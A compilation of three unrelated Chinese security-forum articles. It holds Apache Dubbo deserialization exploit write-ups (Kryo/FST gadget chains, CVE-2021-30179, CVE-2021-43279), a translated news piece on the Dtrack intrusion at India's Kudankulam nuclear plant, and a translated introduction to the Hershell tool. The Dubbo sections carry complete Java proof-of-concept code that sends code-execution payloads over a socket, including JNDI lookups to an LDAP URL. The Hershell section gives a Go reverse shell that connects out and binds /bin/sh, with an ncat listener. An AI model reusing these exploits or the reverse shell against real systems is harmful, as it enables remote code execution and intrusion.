Dubbo服务在没有配置协议的情况下，默认使用dubbo协议，dubbo协议默认使用hessian2进行序列化传输对象。hessian2反序列化只是其中一个攻击面，太局限，而且hessian2可能会提供黑白名单的限制。所以需要尝试扩展攻击面，此漏洞应运而生。
### 影响版本
基础 dubbo-common <=2.7.3
Dubbo 2.7.0 to 2.7.8
Dubbo 2.6.0 to 2.6.9
Dubbo all 2.5.x versions (not supported by official team any longer)
### 复现分析
需要添加dubbo-common 依赖，
可以修改dubbo协议的
位来更改序列化方式为Kryo或者FST序列化格式。
通过id索引序列化器，当id为8时使用Kryo，id为9时使用Fst，
kryo 和 fst 的调用链都比较类似，使用map序列化器反序列化时，触发
继而调用hashcode 或者 equals，
dubbo中存在
dubbo-common中又存在fastjson
所以利用链就比较清楚了，结合之前分析的hessian的老五条
使用`org.springframework.aop.target.HotSwappableTargetSource#equals ->
com.sun.org.apache.xpath.internal.objects.XString#equals(java.lang.Object)->
xxxx.toString()`
fastjson中 `JSONObject`
是可以被序列化的，当其显式或隐式被调用`toString`方法时，会触发绑定对象的getter方法，这算是人尽皆知的事实。
所以结合上面的poc改改就可以了，
package org.apache.dubbo.samples.basic;
import com.alibaba.fastjson.JSONObject;
import org.apache.dubbo.common.io.Bytes;
import org.apache.dubbo.common.serialize.ObjectOutput;
import org.apache.dubbo.common.serialize.fst.FstObjectOutput;
import org.apache.dubbo.common.serialize.kryo.KryoObjectOutput;
import org.apache.dubbo.rpc.RpcInvocation;
import java.io.ByteArrayOutputStream;
import java.io.OutputStream;
import java.lang.reflect.Method;
import java.net.Socket;
import java.util.HashMap;
import java.util.Random;
public class FSTTest {
public static String SerType = "FST";
public static Object getGadgetsObj(String cmd) throws Exception{
//Make TemplatesImpl
Object templates = Utils.createTemplatesImpl(cmd);
//Make FastJson Gadgets Chain
JSONObject jo = new JSONObject();
jo.put("oops",templates);
return Utils.makeXStringToStringTrigger(jo);
}
public static void main(String[] args) throws Exception {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
//Make header
byte[] header = new byte[16];
ObjectOutput objectOutput;
// set magic number.
Bytes.short2bytes((short) 0xdabb, header);
// set request and serialization flag.
switch (SerType) {
case "FST":
objectOutput = new FstObjectOutput(baos);
header[2] = (byte) ((byte) 0x80 | (byte)9 | (byte) 0x40);
break;
case "Kyro":
default:
objectOutput = new KryoObjectOutput(baos);
header[2] = (byte) ((byte) 0x80 | (byte)8 | (byte) 0x40);
break;
}
// set request id.
Bytes.long2bytes(new Random().nextInt(100000000), header, 4);
//Genaral ObjectOutput
objectOutput.writeUTF("2.0.2");
objectOutput.writeUTF("org.apache.dubbo.samples.basic.api.DemoService");
objectOutput.writeUTF("0.0.0");
objectOutput.writeUTF("sayHello");
objectOutput.writeUTF("Ljava/lang/String;"); //*/
objectOutput.writeObject(getGadgetsObj("calc"));
objectOutput.writeObject(null);
objectOutput.flushBuffer();
//Transform ObjectOutput to bytes payload
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
Bytes.int2bytes(baos.size(), header, 12);
byteArrayOutputStream.write(header);
byteArrayOutputStream.write(baos.toByteArray());
byte[] bytes = byteArrayOutputStream.toByteArray();
//Send Payload
Socket socket = new Socket("192.168.0.103", 20880);
OutputStream outputStream = socket.getOutputStream();
outputStream.write(bytes);
outputStream.flush();
outputStream.close();
}
}
Utils，借鉴`ysoserial.payloads.util.Gadgets`
再自行添加一个方法就行
public static Object makeXStringToStringTrigger(Object o) throws Exception {
XString x = new XString("HEYO");
return Utils.makeMap(new HotSwappableTargetSource(o), new HotSwappableTargetSource(x));
}
调用链如下，
FST，
getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
write:-1, ASMSerializer_1_TemplatesImpl (com.alibaba.fastjson.serializer)
write:270, MapSerializer (com.alibaba.fastjson.serializer)
write:44, MapSerializer (com.alibaba.fastjson.serializer)
write:280, JSONSerializer (com.alibaba.fastjson.serializer)
toJSONString:863, JSON (com.alibaba.fastjson)
toString:857, JSON (com.alibaba.fastjson)
equals:392, XString (com.sun.org.apache.xpath.internal.objects)
equals:104, HotSwappableTargetSource (org.springframework.aop.target)
putVal:635, HashMap (java.util)
put:612, HashMap (java.util)
instantiate:79, FSTMapSerializer (org.nustaq.serialization.serializers)
instantiateAndReadWithSer:497, FSTObjectInput (org.nustaq.serialization)
readObjectWithHeader:366, FSTObjectInput (org.nustaq.serialization)
readObjectInternal:327, FSTObjectInput (org.nustaq.serialization)
readObject:307, FSTObjectInput (org.nustaq.serialization)
readObject:102, FstObjectInput (org.apache.dubbo.common.serialize.fst)
decode:116, DecodeableRpcInvocation (org.apache.dubbo.rpc.protocol.dubbo)
Kryo
getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
write:-1, ASMSerializer_1_TemplatesImpl (com.alibaba.fastjson.serializer)
write:270, MapSerializer (com.alibaba.fastjson.serializer)
write:44, MapSerializer (com.alibaba.fastjson.serializer)
write:280, JSONSerializer (com.alibaba.fastjson.serializer)
toJSONString:863, JSON (com.alibaba.fastjson)
toString:857, JSON (com.alibaba.fastjson)
equals:392, XString (com.sun.org.apache.xpath.internal.objects)
equals:104, HotSwappableTargetSource (org.springframework.aop.target)
putVal:635, HashMap (java.util)
put:612, HashMap (java.util)
read:162, MapSerializer (com.esotericsoftware.kryo.serializers)
read:39, MapSerializer (com.esotericsoftware.kryo.serializers)
readClassAndObject:813, Kryo (com.esotericsoftware.kryo)
readObject:136, KryoObjectInput (org.apache.dubbo.common.serialize.kryo)
readObject:147, KryoObjectInput (org.apache.dubbo.common.serialize.kryo)
decode:116, DecodeableRpcInvocation (org.apache.dubbo.rpc.protocol.dubbo)
具体细节自行调试。
### 补丁分析
dubbo-common 2.7.3 的版本中存在kryo 和 fst 的序列化需要的类，
而在 dubbo-common 2.7.4.1 中，这三个包并不存在，
需要自行导入，
但是我发现，并不是dubbo版本 2.7.9以下才会出现漏洞，我在测试了 dubbo 和dubbo-common 2.7.9 2.7.10
漏洞仍然可以触发，
而且也不会被`CVE-2020-1948的补丁过滤拦截` ，fastjson 版本也还保持在1.2.46，利用链可以触发。
所以关键因素我觉得仍然是服务端是否允许 kyro 和 fst 这两种序列化方式。
## CVE-2021-30179
### 简述
<https://securitylab.github.com/advisories/GHSL-2021-034_043-apache-dubbo/>
其中的`issue 4`就简单介绍了此漏洞原理，
`dubbo`默认支持泛型调用（<https://dubbo.apache.org/en/docs/v2.7/user/examples/generic-reference/），这也就是上面`CVE-2019-17564`>
绕过的原因。通过泛型调用`provider`暴露的接口的时候会使用`GenericFilter`来处理，`RPC attachment`
需要指定调用是一个泛型调用，同时可以提供反序列化方式，
### 影响版本
Apache Dubbo 2.7.0 to 2.7.9
Apache Dubbo 2.6.0 to 2.6.9
Apache Dubbo all 2.5.x versions (官方已不再提供支持)
，然后通过Java反射完成最后调用。
org.apache.dubbo.rpc.protocol.dubbo.DecodeableRpcInvocation#decode(org.apache.dubbo.remoting.Channel, java.io.InputStream)
在这里解码的时候
通过读取 attachment，其实这个attachment就是一个map，最后writeObject 进去的，
然后将其和`attachments` 属性合并，
泛型调用最后会使用，`org.apache.dubbo.rpc.filter.GenericFilter#invoke`来处理，
这里获取generic，作为反序列化方式的一种判断，
这里提出了三种利用方式，
<https://mp.weixin.qq.com/s/vHJpE2fZ8Lne-xFggoQiAg>
### raw.return
跟进一下，参数 args通过下面的代码来反序列化获取
args = PojoUtils.*realize*(args, params, method.getGenericParameterTypes());
但其实传入的待处理的 args 是我们一开始写入的参数对象，
// 泛型调用第一个参数 方法名
out.writeUTF("sayHello");
// 泛型调用第二个参数 参数类型数组
out.writeObject(new String[] {"java.lang.String"});
// 泛型调用第三个参数 参数对象
HashMap jndi = new HashMap();
jndi.put("class", "org.apache.xbean.propertyeditor.JndiConverter");
jndi.put("asText", JNDI_URL);
out.writeObject(new Object[]{jndi});
// attachment
HashMap map = new HashMap();
map.put("generic", "raw.return");
out.writeObject(map);
POJO 实际上就是一个普通的Java对象，没有实现任何接口和继承，就是单纯单纯单纯，不能用序列化等方式还原，就用到了一些特殊的处理。
org.apache.dubbo.common.utils.PojoUtils#realize0
跟进，这里的 pojo 就是 上次待处理的 args，也就是参数对象。
如果pojo是个map，
就从里面获取"class" 对应的类名，加载进来，如果不是 Map 向下的类型，或者Object，且不是接口，就会实例化，
然后遍历 pojo，通过key来获取加载进来的类的 setter方法和属性，
如果方法存在，那么就对value递归处理，最后反射调用对应的setter方法，
这个过程可以想象成 fastjson
的编组时的行为，作者使用的是`org.apache.xbean.propertyeditor.JndiConverter#setAsText`
用一个 `LinkedHashMap` 就可以通过`com.sun.rowset.JdbcRowSetImpl#setAutoCommit`
来JNDI了，无需加入依赖。
调用栈
connect:634, JdbcRowSetImpl (com.sun.rowset)
setAutoCommit:4067, JdbcRowSetImpl (com.sun.rowset)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
realize0:483, PojoUtils (org.apache.dubbo.common.utils)
realize:211, PojoUtils (org.apache.dubbo.common.utils)
realize:99, PojoUtils (org.apache.dubbo.common.utils)
invoke:91, GenericFilter (org.apache.dubbo.rpc.filter)
invoke:83, ProtocolFilterWrapper$1 (org.apache.dubbo.rpc.protocol) [3]
invoke:38, ClassLoaderFilter (org.apache.dubbo.rpc.filter)
invoke:83, ProtocolFilterWrapper$1 (org.apache.dubbo.rpc.protocol) [2]
invoke:41, EchoFilter (org.apache.dubbo.rpc.filter)
invoke:83, ProtocolFilterWrapper$1 (org.apache.dubbo.rpc.protocol) [1]
reply:145, DubboProtocol$1 (org.apache.dubbo.rpc.protocol.dubbo)
received:152, DubboProtocol$1 (org.apache.dubbo.rpc.protocol.dubbo)
received:177, HeaderExchangeHandler (org.apache.dubbo.remoting.exchange.support.header)
received:51, DecodeHandler (org.apache.dubbo.remoting.transport)
run:57, ChannelEventRunnable (org.apache.dubbo.remoting.transport.dispatcher)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:748, Thread (java.lang)
### bean
观察一下 bean处理的方式，
需要是一个`JavaBeanDescriptor` 的实例，
`org.apache.dubbo.common.beanutil.JavaBeanDescriptor` 这是个什么东西，就是个JavaBean的封装器，
主要有三个属性
classname 表示需要被描述的JavaBean 的类名，type指定描述器的类型，
`org.apache.dubbo.common.beanutil.JavaBeanSerializeUtil` 反序列化器会根据这些类型进行不同的处理。
`properties` 本身就是一个有序哈希表，存入属性名和对应的属性值。
继续跟进
org.apache.dubbo.common.beanutil.JavaBeanSerializeUtil#instantiateForDeserialize
通过构造`JavaBeanDescriptor`时的`type`，
来选择如何根据`classname`还原一个类，具体细节可以看代码，
核心是`org.apache.dubbo.common.beanutil.JavaBeanSerializeUtil#deserializeInternal`
类，
下面这个else 分支代表的是BeanType的处理，
}else {
if (!beanDescriptor.isBeanType()) {
throw new IllegalArgumentException("Unsupported type " + beanDescriptor.getClassName() + ":" + beanDescriptor.getType());
}
Iterator var15 = beanDescriptor.iterator();
while(var15.hasNext()) {
Entry<Object, Object> entry = (Entry)var15.next();
String property = entry.getKey().toString();
value = entry.getValue();
if (value != null) {
if (value instanceof JavaBeanDescriptor) {
valueDescriptor = (JavaBeanDescriptor)entry.getValue();
value = instantiateForDeserialize(valueDescriptor, loader, cache);
deserializeInternal(value, valueDescriptor, loader, cache);
}
Method method = getSetterMethod(result.getClass(), property, value.getClass());
boolean setByMethod = false;
try {
if (method != null) {
method.invoke(result, value);
setByMethod = true;
}
} catch (Exception var12) {
LogHelper.warn(logger, "Failed to set property through method " + method, var12);
}
可以发现会遍历 properties属性，然后反射获取 对应classname实例的setter方法，对属性进行赋值。
利用其实跟上面那种方式差不多，只不过多了一层封装的操作。
// 泛型调用第三个参数 参数对象
JavaBeanDescriptor descriptor = new JavaBeanDescriptor("com.sun.rowset.JdbcRowSetImpl",7);
descriptor.setProperty("class", "com.sun.rowset.JdbcRowSetImpl");
descriptor.setProperty("dataSourceName", JNDI_URL);
descriptor.setProperty("autoCommit",true);
out.writeObject(new Object[]{descriptor});
// attachment
HashMap map = new HashMap();
map.put("generic", "bean");
out.writeObject(map);
调用栈
connect:615, JdbcRowSetImpl (com.sun.rowset)
setAutoCommit:4067, JdbcRowSetImpl (com.sun.rowset)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
deserializeInternal:282, JavaBeanSerializeUtil (org.apache.dubbo.common.beanutil)
deserialize:215, JavaBeanSerializeUtil (org.apache.dubbo.common.beanutil)
deserialize:204, JavaBeanSerializeUtil (org.apache.dubbo.common.beanutil)
invoke:115, GenericFilter (org.apache.dubbo.rpc.filter)
invoke:83, ProtocolFilterWrapper$1 (org.apache.dubbo.rpc.protocol)
invoke:38, ClassLoaderFilter (org.apache.dubbo.rpc.filter)
invoke:83, ProtocolFilterWrapper$1 (org.apache.dubbo.rpc.protocol)
invoke:41, EchoFilter (org.apache.dubbo.rpc.filter)
invoke:83, ProtocolFilterWrapper$1 (org.apache.dubbo.rpc.protocol)
reply:145, DubboProtocol$1 (org.apache.dubbo.rpc.protocol.dubbo)
received:152, DubboProtocol$1 (org.apache.dubbo.rpc.protocol.dubbo)
received:177, HeaderExchangeHandler (org.apache.dubbo.remoting.exchange.support.header)
received:51, DecodeHandler (org.apache.dubbo.remoting.transport)
run:57, ChannelEventRunnable (org.apache.dubbo.remoting.transport.dispatcher)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:748, Thread (java.lang)
### nativejava
UnsafeByteArrayInputStream is = new UnsafeByteArrayInputStream((byte[])((byte[])args[i]));
Throwable var11 = null;
try {
args[i] = ((Serialization)ExtensionLoader.getExtensionLoader(Serialization.class).getExtension("nativejava")).deserialize((URL)null, is).readObject();
public NativeJavaObjectInput(InputStream is) throws IOException {
this(new ObjectInputStream(is));
}
public Object readObject() throws IOException, ClassNotFoundException {
return this.inputStream.readObject();
}
其实就是使用原生java反序列化，只不过需要参数是byte数组，下面的代码就是生成一个cc6的序列化payload，
// 泛型调用第三个参数 参数对象
byte[] payload = Serializer.serialize(ObjectPayload.Utils.makePayloadObject("CommonsCollections6","calc"));
out.writeObject(new Object[]{payload});
// attachment
HashMap map = new HashMap();
map.put("generic", "nativejava");
out.writeObject(map);
readObject:50, NativeJavaObjectInput (org.apache.dubbo.common.serialize.nativejava)
invoke:98, GenericFilter (org.apache.dubbo.rpc.filter)
invoke:83, ProtocolFilterWrapper$1 (org.apache.dubbo.rpc.protocol)
invoke:38, ClassLoaderFilter (org.apache.dubbo.rpc.filter)
invoke:83, ProtocolFilterWrapper$1 (org.apache.dubbo.rpc.protocol)
invoke:41, EchoFilter (org.apache.dubbo.rpc.filter)
invoke:83, ProtocolFilterWrapper$1 (org.apache.dubbo.rpc.protocol)
reply:145, DubboProtocol$1 (org.apache.dubbo.rpc.protocol.dubbo)
received:152, DubboProtocol$1 (org.apache.dubbo.rpc.protocol.dubbo)
received:177, HeaderExchangeHandler (org.apache.dubbo.remoting.exchange.support.header)
received:51, DecodeHandler (org.apache.dubbo.remoting.transport)
run:57, ChannelEventRunnable (org.apache.dubbo.remoting.transport.dispatcher)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:748, Thread (java.lang)
### 修复
前两种攻击的修复，在加载类前都加入验证
都加入了 `SerializeClassChecker.*getInstance*().validateClass(name);`
`CLASS_DESERIALIZE_BLOCKED_SET` 中存在黑名单的验证，封堵了利用链。
对于 nativejava 则从配置文件中判断是否支持Java反序列化，默认为false。
## CVE-2021-43279
### 简述
仍然是默认的 hessian序列化方式，抛出一个非预期的异常时导致了任意代码执行。
### 影响版本
This issue affects Apache Dubbo Apache Dubbo 2.6.x versions prior to 2.6.12;
Apache Dubbo 2.7.x versions prior to 2.7.15; Apache Dubbo 3.0.x versions prior
to 3.0.5.
### 补丁&漏洞分析
直接先从补丁来看
<https://github.com/apache/dubbo-hessian-lite/commit/a35a4e59ebc76721d936df3c01e1943e871729bd#>
这个commit 的名称是
Remove toString Calling
修改部分基本如下
主要变动就是删除了隐式的对象的toString调用。
dubbo的默认序列化引擎是 hessian2
，且修复了`src/main/java/com/alibaba/com/caucho/hessian/io/Hessian2Input.java` 中的
`expect`方法，这是最容易被利用的，比如
org.apache.dubbo.rpc.protocol.dubbo.DecodeableRpcInvocation#decode(org.apache.dubbo.remoting.Channel, java.io.InputStream)
然后 `readUTF() -> readString() -> except()`
readString 只需要不满足上面的case就可以了。
作者使用的是67，也就是0x43。
构造的话，重写一下`com.alibaba.com.caucho.hessian.io.Hessian2Output#writeString(java.lang.String)`
方法。
int offset = this._offset;
byte[] buffer = this._buffer;
if (4096 <= offset + 16) {
this.flush();
offset = this._offset;
}
if (value == null) {
buffer[offset++] = 78;
this._offset = offset;
} else {
int length = value.length();
int strOffset;
int sublen;
for (strOffset = 0; length > 32768; strOffset += sublen) {
sublen = 32768;
offset = this._offset;
if (4096 <= offset + 16) {
this.flush();
offset = this._offset;
}
char tail = value.charAt(strOffset + sublen - 1);
if ('\ud800' <= tail && tail <= '\udbff') {
--sublen;
}
buffer[offset + 0] = 82;
buffer[offset + 1] = (byte) (sublen >> 8);
buffer[offset + 2] = (byte) sublen;
this._offset = offset + 3;
this.printString(value, strOffset, sublen);
length -= sublen;
}
offset = this._offset;
if (4096 <= offset + 16) {
this.flush();
offset = this._offset;
}
if (length <= 31) {
if (value.startsWith("2.")) {
buffer[offset++] = 67;
} else {
buffer[offset++] = (byte) (0 + length);
}
} else if (length <= 1023) {
buffer[offset++] = (byte) (48 + (length >> 8));
buffer[offset++] = (byte) length;
} else {
buffer[offset++] = 83;
buffer[offset++] = (byte) (length >> 8);
buffer[offset++] = (byte) length;
}
if (!value.startsWith("2.")) {
this._offset = offset;
this.printString(value, strOffset, length);
}
}
}
然后在后面紧接着writeObject 一个 toString 的Gadgets即可。
但利用比较局限，hessian存在黑名单，老五条被ban掉，然后fastjson版本又是在1.2.70，同样有黑名单的限制。
需要找其他第三方的依赖，且满足Hessian2序列化的规则。
poc
package org.apache.dubbo.samples.basic;
import org.apache.dubbo.common.io.Bytes;
import org.apache.dubbo.common.serialize.hessian2.Hessian2ObjectOutput;
import java.io.ByteArrayOutputStream;
import java.io.OutputStream;
import java.net.Socket;
import java.util.Random;
public class TestBasicConsumer {
public static String JNDI_URL = "ldap://127.0.0.1:1389/xxx";
public static Object payload()throws Exception{
return new Tests();
}
public static void main(String[] args) throws Exception{
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
// header.
byte[] header = new byte[16];
// set magic number.
Bytes.short2bytes((short) 0xdabb, header);
// set request and serialization flag.
header[2] = (byte) ((byte) 0x80 | 2);
// set request id.
Bytes.long2bytes(new Random().nextInt(100000000), header, 4);
ByteArrayOutputStream hessian2ByteArrayOutputStream = new ByteArrayOutputStream();
Hessian2ObjectOutput out = new Hessian2ObjectOutput(hessian2ByteArrayOutputStream);
out.writeUTF("2.0.2");
//todo 此处填写注册中心获取到的service全限定名、版本号、方法名
// attachment
out.writeObject(payload());
out.flushBuffer();
Bytes.int2bytes(hessian2ByteArrayOutputStream.size(), header, 12);
byteArrayOutputStream.write(header);
byteArrayOutputStream.write(hessian2ByteArrayOutputStream.toByteArray());
byte[] bytes = byteArrayOutputStream.toByteArray();
//todo 此处填写被攻击的dubbo服务提供者地址和端口
Socket socket = new Socket("127.0.0.1", 20880);
OutputStream outputStream = socket.getOutputStream();
outputStream.write(bytes);
outputStream.flush();
outputStream.close();
}
}
<https://paper.seebug.org/1814/> | 社区文章 |
# 印度核电厂被攻击幕后阴谋渐显：“他们正在下一步很大的棋”
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
印度Kudankulam核电厂遭到网络武器Dtrack攻击一事已经渐渐接近尾声，此前奇安信威胁情报中心已经对攻击者使用的木马，以及事件时间线整理完毕，详情见下文。
而本篇文章将基于外网信息，补充一些此前未被国内提及的细节以及攻击团伙幕后的信息。
印度Kudankulam核电厂鸟瞰图
## 邮件引起的血案
德勤阿根廷公司分析师加布里埃拉·尼古拉（Gabriela
Nicolao）是最早发现攻击事件的人，其在印度最大的核电厂的计算机上发现被感染了恶意软件Dtrack。
在11月阿根廷的一次会议上，尼古拉称Dtrack恶意软件并没有进入实际控制核电站的机器，而是进入了管理计算机。
下图为印度Kudankulam核电站的控制室。
韩国Issue Makers
Lab的研究人员说，攻击者为来自朝鲜的Kimsuky组织，并透露称，攻击印度核能部门的一名黑客正在使用仅在朝鲜生产和使用的朝鲜自有品牌的计算机。一名黑客使用的IP来自朝鲜的平壤。而朝鲜黑客知道印度工厂的IP网络。他们渗透到了工厂内部，但没有发送破坏性代码。
Issue Maker
Lab发现，黑客使用的计算机是在朝鲜生产且仅在朝鲜使用的型号。这帮助他们获得了机器的MAC地址以及IP地址的详细信息。两者都带有朝鲜签名。他们的调查还发现，恶意软件代码中使用了朝鲜语。
插播一些题外话，RedStar
OS是朝鲜号称自主研发的国产操作系统，其中该系统具备水印功能，即随意创建一个文档，拷贝到U盘再插入红星系统，不做任何操作再拔出来，经查看发现该文档被填充了垃圾数据用作水印功能，这处红雨滴团队怀疑该安全团队可能依靠这些特征发现了攻击者。
据称，朝鲜黑客此前就曾伪装成印度核能机构AERB和BARC的雇员，对印度核能相关专家发动了鱼叉式网络钓鱼攻击。攻击持续了大约两年。
1、AERB：原子能管理委员会
其中，朝鲜黑客向印度原子能管理委员会（AERB）前主席发送了包含恶意软件的电子邮件。他曾是印度核电有限公司（NPCIL）的技术总监，AHWR反应堆的专家。
邮件内容：“很抱歉打扰您。这是从美国寄给我们一份不公开监管文件。我们希望您检查该文档并提出您的意见。”电子邮件中写道，最后还附上邮件附件的密码 。
2、BARC：巴巴原子研究中心
其中，朝鲜黑客向印度原子能委员会（AECI）前主席，印度政府秘书和巴巴原子研究中心（BARC）主任AnilKakodkar发送了攻击邮件。
那么此次攻击又是如何呢？
来自印度的网络安全专家Yash
Kadakia称，他分析了攻击者入侵的服务器，发现攻击者使用该服务器，向包括印度航天和核计划在内的五个机构的十几个人发送了网络钓鱼电子邮件。
其中就包括上面提及的两个重量级人物目标。
**据Kadakia** **称，在某个时候，与核电站存在关联的人单击电子邮件的附件，并将Dtrack** **下载到他或她的计算机上。**
而根据印度政府称，那个存在关联的人，出于需要管理核电站网络的缘故，其使用被感染软件的计算机连接到了Kudankulam网络。要知道，Kudankulam是隔离网，所有计算机都没有连接到互联网，这也是一个印度官员此前不承认被攻击的缘故，因为该官员坚信在隔离网便不会被攻击，但是攻击事实就这样发生了，这是一起小型的“震网”事件。
尼古拉还透露称，该恶意软件收集信息并将其发送到另一台计算机，而发送的是核电站网络内的另一台计算机。
然后，Dtrack收集信息并将其发送回攻击者。
根据Nicolao的说法，这很可能是针对性攻击，因为攻击者在其代码中使用了来自工厂的凭据即可账户名和密码。
而IssueMakersLab还透露，该恶意软件用于攻击印度核电站的朝鲜恶意软件。他们在 **2016** **年渗透了韩国军方的内部网络**
，并窃取了机密信息。他们曾在 **2013** **年摧毁了韩国的广播电台和银行系统。此外，另一个2014**
**年通过攻击韩国核电厂摧毁该系统的朝鲜黑客组织也加入了印度对核电厂的攻击。他们一直在试图对与印度核电厂有关的关键人物进行袭击。**
更具体的木马分析可查阅文章开头提及的我们的分析链接，我们目前将该组织归因到Lazarus组织，因为卡巴在其9月的Dtrack报告中披露从2018年夏末发现的针对印度银行的恶意软件Dtrack与此次曝光的样本归属同一攻击组织。
## 有何预谋？
上图为ATM机上的印度卢比
《亚洲时报》报道， **Dtrack**
**攻击组织是在获取印度该厂的燃料产量，这是评估该国民用和军事核能力计划的一部分。印度以在核反应堆上的工作而闻名。它的核计划已将民用和武器项目深深地联系在一起。**
印度安全官员说，任何有关产量或裂变材料的数据对黑客来说都是无价之宝。印度调查人员认为，黑客正在寻找可裂变材料的产量，以此作为确定印度目前核计划的民用和军事能力的更大行动的一部分。
**印度安全官员还怀疑，朝鲜人是中国和巴基斯坦人的阵线，它们都是印度的传统竞争对手。**
**印度在产量上的核秘密可以帮助他们了解该国的战略武器力量态势，以及平民对其核发电设施的指挥和控制。这个问题是如此敏感，以至于原子能部门历史上一直直接向印度总理汇报。**
而且，一旦攻击者知道了工厂的工作方式，他们就可以返回更多信息，包括尝试自己控制核电机器。
**“这是一种侦察工具，”尼古拉说。“这意味着这可能是实施更大攻击的第一步，也许在下一盘很大的棋。”**
最后，奉上一个关于印度核电站被攻击前后的短片，其中对一些攻击目标和一些细节性的东西也进行了解答。
## 总结
去年，美国网络安全公司FireEye在一份报告中声称，朝鲜的网络黑客正在全球范围内攻击航空航天和国防公司。但从印度Kudankulum核电站被攻击一事表明，朝鲜黑客正朝着针对核设施的方向发展。
这也就意味着，他们可能正在准备针对全球其他核设施发起攻击。
正如文章中提到的，印度核电厂假设在隔离网中，但仍然被攻击，这也就意味着，当网络管理人员在认为攻击者无法进入内网之时，攻击便已经完成了。因此，面对安全防护，切勿大意，加强内网安全建设，规范管理人员的使用网络的规范，这才是重中之重。
安全是发展的前提，发展是安全的保障。核电，乃至核科技工业体系，是国家战略核力量的核心和国家核能发展与核电建设的主力军，肩负着国防建设和国民经济与社会发展的双重历史使命。奇安信威胁情报中心再次提醒：网络安全保障工作至关重要。
参考链接：
<https://archerint.com/how-did-malware-land-on-nuclear-plant-computers/> | 社区文章 |
# Hershell：献给渗透测试人员的礼物
##### 译文声明
本文是翻译文章，文章原作者 sysdream，文章来源：sysdream.com
原文地址：<https://sysdream.com/news/lab/2018-01-15-en-golang-for-pentests-hershell/>
译文仅供参考，具体内容表达以及含义原文为准。
## 介绍
在渗透测试领域中，研究人员们必备的工具毫无疑问就是Metasploit了。Metasploit中包含了大量功能丰富的Payload、编码器、以及其他的实用工具。光是Meterpreter就提供了其中绝大多数的Payload，Meterpreter是一种修改后的Shell，包含了很多漏洞利用命令以及后渗透攻击命令。由于它具备了强大的攻击功能，它可能是研究人员以及网络攻击这最常用的工具了。
## Meterpreter的问题
但不幸的是，它的热门程度也给它自己带来了不小的麻烦：绝大多数的反病毒产品以及基于签名的安全解决方案都可以检测到它。而在渗透测试过程中，包含了Meterpreter
Payload的代码一般都会被检测到。
另一个问题就是它缺乏针对特定架构（例如BSD）的支持，这也就意味着，我们不得不开发自己所要使用的后门。
因此，上述的这些问题推动着我们开发出了Hershell。这个项目的目标是为了给大家提供一个反向Shell
Payload，并且提供了跨平台支持，除此之外，它也不会被反病毒软件检测到。
该工具采用Go语言开发，即Google推出的一种编译语言。
## 为什么是Go？
实际上在安全社区里，就目前来说Python肯定是制作脚本的首选编程语言，有时我们甚至还会用Python来开发应用程序。既然如此，那我们为什么要学习新的编程语言呢？
Go语言也有其自身的优势，这种特性允许开发人员在无需实现任何外部依赖的情况下执行交叉编译。除此之外，Go提供了一种标准代码库，其中包含了所有需要在目标架构中运行的代码。因此，在Go语言的帮助下，开发人员应该能够轻松地开发出适用于各种平台的脚本代码。
## 目标
在开发这个项目的过程中，我们想要实现的目标如下：
1. 制作一个功能类似反向Shell的Payload；
2. 得到一种能够跨平台以及硬件架构（Windows、Linux、macOS和ARM）运行的Payload；
3. 易于配置；
4. 加密通信；
5. 能绕过绝大多数的反病毒检测引擎；
## 准备环境准备环境
从官方网站下载Go语言环境的安装包：【传送门】
安装完成之后，我们需要配置好开发环境。我们需要创建一个根目录（dev文件夹），并用它来保存资源文件和代码库，并构建代码：
$ mkdir -p $HOME/dev/{src,bin,pkg}
$ export GOPATH=$HOME/dev
$ cd dev
目录模式如下：
1. bin目录中包含了编译后的代码以及其他可执行文件；
2. pkg目录中包含了Go数据包的对象文件；
3. src目录中包含了开发的应用程序以及下载数据包的资源目录；
## 我的第一个反向Shell
那么接下来，我们一起用Go语言来创建一个简单的TCP反向Shell。
这里我们就不用一行一行去给大家进行演示了，下面给出的是一份带有注释的完整代码版本：
// filename: tcp.go
package main
import (
“net” // requirement to establish a connection
“os” // requirement to call os.Exit()
“os/exec” // requirement to execute commands against the target system
)
func main() {
// Connecting back to the attacker
// If it fails, we exit the program
conn, err := net.Dial(“tcp”, “192.168.0.23:2233”)
if err != nil {
os.Exit(1)
}
// Creating a /bin/sh process
cmd := exec.Command(“/bin/sh”)
// Connecting stdin and stdout
// to the opened connection
cmd.Stdin = conn
cmd.Stdout = conn
cmd.Stderr = conn
// Run the process
cmd.Run()
}
首先，我们使用net.Dial跟远程服务器建立了一条通信链接。
Go标准件库的net数据包是基于TCP或UDP实现的网络通信抽象层。
为了了解更多关于数据包使用的内容，Go语言的文档（go doc）给我们提供了很大的帮助：
$ go doc net
package net // import “net”
Package net provides a portable interface for network I/O, including TCP/IP,
UDP, domain name resolution, and Unix domain sockets.
Although the package provides access to low-level networking primitives,
most clients will need only the basic interface provided by the Dial,
Listen, and Accept functions and the associated Conn and Listener
interfaces. The crypto/tls package uses the same interfaces and similar Dial
and Listen functions.
我们回到脚本的开发过程中
当连接建立成功之后（如果不成功，则程序终止运行），我们会使用exec.Command函数创建了一个进程。所有的输入和输出（stdout、stdin和stderr）都会被重定向到链接上，而此时进程将会被启动。
接下来，我们就可以编译并执行文件了：
$ go build tcp.go
$ ./tcp
现在，我们需要启动监听器：
# Listening server (attacker)
$ ncat -lvp 2233
Listening on [0.0.0.0] (family 0, port 2233)
